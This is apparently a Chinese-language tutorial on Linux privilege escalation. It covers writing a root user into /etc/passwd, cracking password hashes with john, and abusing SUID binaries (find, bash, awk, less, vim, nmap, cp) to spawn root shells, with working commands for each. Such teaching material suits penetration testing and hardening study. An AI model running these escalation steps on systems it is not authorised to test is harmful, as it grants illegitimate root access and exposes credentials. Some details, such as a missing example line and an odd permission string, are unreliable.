Linux提权浅析
passwd提权
/etc/passwd
和 /etc/shadow
文件是 Linux 系统登录认证的关键文件,如果系统运维人员对 passwd
或 shadow
文件的内容或权限配置有误,则可以被利用来进行系统提权。
我们先了解一下 /etc/passwd
内容的含义:
Linux 密码信息保存在两个文件中,分别为:/etc/passwd
和 /etc/shadow
/etc/passwd
文件用于保存用户信息,每一行代表一个用户,每一行通过冒号 :
分为七个部分:
- 用户名
- 密码,若为
x
则表示密码保存在/etc/shadow
- UID,0 代表 root
- GID,表示所在组
- 描述信息,依次为 Full Name、Room Number、Work Phone、Home Phone 和 Other
- 用户主目录
- 默认 shell 类型
例如,假设 /etc/passwd
文件中其中一行信息如下:
其含义解读如下:
*用户名:test-user
*密码保存在 /etc/shadow
中
*UID 为 1001
*GID 为 1001
*描述信息: Full Name [test]: Room Number [11111]: Work Phone [111111-11]: Home Phone [222222-22]: Other [test]
*用户主目录为 /home/test-user
*默认 shell 为 /bin/bash
因此在登陆时候的权限是通过第三个字段 UID
和第四个字段 GID
确定。其中 UID=0
代表 root 用户
如果我们能够对 /etc/passwd
文件内容进行伪造、篡改,那就能很轻易的登录成功并获取任意用户权限。
所以,获取passwd的写入权限十分重要
通常来说,通过 /etc/passwd
提权的方法有两种:
- 如果具有
/etc/passwd
的 w (写入) 权限,可以直接添加一个 root 权限的用户 - 如果
/etc/passwd
中存储 root 用户密码哈希,可以使用 john 进行破解
场景一:/etc/passwd 具有写权限
查看
1 | ls -alh /etc/passwd /etc/shadow |
如果有 --wx--xrwx
意味着我们具有写入权限,接下来我们需要做的就是
自己构造一行用户数据添加到 passwd 文件中,用户名和密码自定义,并且将 UID
设置为 0
,此时我们登陆就可以获取 root 权限。
查看 passwd 文件中 root 用户数据的格式
1 | cat /etc/passwd|grep root |
结果
1 | root:x:0:0:root:/root:/bin/bash |
先设置用户名,如syl-passwd
1 | syl-passwd:x:0:0:root:/root:/bin/bash |
设置密码,由于密码并不是明文而是经过 hash 算法加密之后的密文字符串,我们使用 openssl
套件
使用 openssl
创建一个密码为 pass123 的 linux hash,命令如下:
1 | openssl passwd -1 -salt ignite pass123 |
计算得到密码$1$ignite$3eTbJm98O9Hz.k1NTdNxe1,接着构造:
1 | syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash |
添加到passwd
1 | echo 'syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /etc/passwd |
这样即添加成功,也可以再次查看一下
1 | cat /etc/passwd|grep syl-passwd |
接下来su syl-passwd切换到 syl-passwd 用户,密码为 pass123即可拿到权限
场景二:/etc/passwd 存储用户密码 hash
一样查看读写权限
1 | ls -alh /etc/passwd /etc/shadow |
但是发现权限配置都是正确的,普通用户只具有 /etc/passwd
文件的读权限。
接下来查看 /etc/passwd
文件的内容:
1 | cat /etc/passwd |
结果发现
1 | root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash |
中间的$1$ignite$J98A8EVPG1O40.WnwrPEM1即是root的密码哈希值,接下来所做的就是john了
先将之前获取到的 root 用户 hash 写入文件 hash.txt 中:
1 | echo 'root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash' > ~/hash.txt |
然后就john:
1 | john ~/hash.txt |
最后得到密码是hello
接下来就一样了,su root,提权。
shadow提权
shadow提权与passwd类似
都是获取root密码的哈希值然后进行爆破
SUID提权
什么是suid提权?
SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。
suid特点是用户运行某个程序时,如果该程序有suid权限,程序运行进程的属主不是发起者,而是程序文件所属的属主。
linux引入了3个文件来管理用户组:
- /etc/passwd存放用户信息。
- /etc/shadow存放用户密码信息。
- /etc/group存放组信息
利用原理:在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。假设可执行文件binexec其属主为root,当以非root身份登录时,如binexec设置了suid权限,就可以在非root身份下运行该可执行文件,可执行文件运行时该进程的权限为root权限。
如何设置suid
列出所有文件:
1 | ls -al |
设置suid:
1 | chmod u+s filename #设置suid |
如果文件从-rw
变成了-rwS
说明添加上了suid权限
注意:
- 只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义
- 命令执行者要对该程序文件拥有执行(x)权限才能使用
- SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效
具有suid权限的二进制可执行文件有:
1 | nmap |
如何查找
查找系统上运行的suid文件,且查找具有root权限的
1 | find / -user root -perm -4000 -print 2>/dev/null |
查找如下:
ls一下看看是否设置了suid权限
1 | ls -al /usr/bin/su |
如果看到确实设置了suid权限,而且属主为root,现在我们就可以利用我们之前提到的suid可执行二进制文件从而进行提权。
进行提权
这里的前提都是要有suid权限
如果之前查找到的usr/bin/find
具有root权限,就用find命令进行提权
find
1 | find filename -exec whoami \; -quit |
还有一种差不多的提权方法
1 | #先前利用以上查找suid文件查询到了/usr/bin/find 有suid权限 |
好像也可以:
1 | find /etc/passwd -exec /bin/bash -p \; |
如果最后出了个root
就说明提权成功了
同理,不只find命令,有很多赋予suid权限的文件可以达到权限提升的效果(实际上也和rbash逃逸、sudo提权那些获取shell的命令相似),这里列举几个:
suid文件 | 提权命令 |
---|---|
/usr/bin/bash | bash -p |
/usr/bin/csh | csh -b |
/usr/bin/sh | sh -p |
/usr/bin/ksh | ksh -p |
/usr/bin/zsh | zsh |
/usr/bin/find | find /etc/passwd -exec /bin/bash -p ; |
/usr/bin/awk | awk ‘BEGIN {system(“/bin/bash”)}’ |
/usr/bin/man | !/bin/bash |
/usr/bin/more | !/bin/bash |
利用相关命令均可在这个网站上查询:GTFOBins
namp
适用版本:nmap2.02至5.21。
nmap是一个经典的端口扫描工具,当目标主机存在版本在2.02-5.21之间的nmap且os的版本在上面受影响的范围内或更早就可以尝试使用这种方法进行提权。
首先是进入nmap交互模式
1 | nmap --interactive |
之后利用命令进行提权
1 | nmap> !sh |
less/more
使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能,无法使用!
命令进入shell。
less与more相似,以less为例
less是一种查看文件的命令,但是我们也可以利用less进行执行我们的shell命令
1 | less /etc/passwd |
之后进入交互界面,输入
1 | !/bin/sh |
1 | VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile |
就可以进入交互界面然后写入shell的
nano
nano进入shell页面似乎比较简单
1 | nano |
cp/mv
以cp为例
主要是利用cp命令覆盖/etc/passwd从而进行提权
1 | whoami |
1 | openssl passwd -1 -salt test testaaa |
1 | echo 'test:$1$test$giCVmzusADSPMon2mwEWo1:0:0::/root/:/bin/sh' >> passwd |
1 | cat /etc/passwd |
1 | su - test |
vi/vim
vim为例
首先是一种比较特殊的情况,就是vim被配置了suid权限,所以只有root才能有权限进行读写,这种时候就是
1 | vim.tiny /etc/passwd |
1 | :!/bin/sh |
其他提权
通过查询历史记录从而获得信息泄露的信息
利用以下命令可以获取
1 | cat ~/.bash_history |
这个命令可以查看当前用户使用过的历史命令
有可能会得到root登录的密码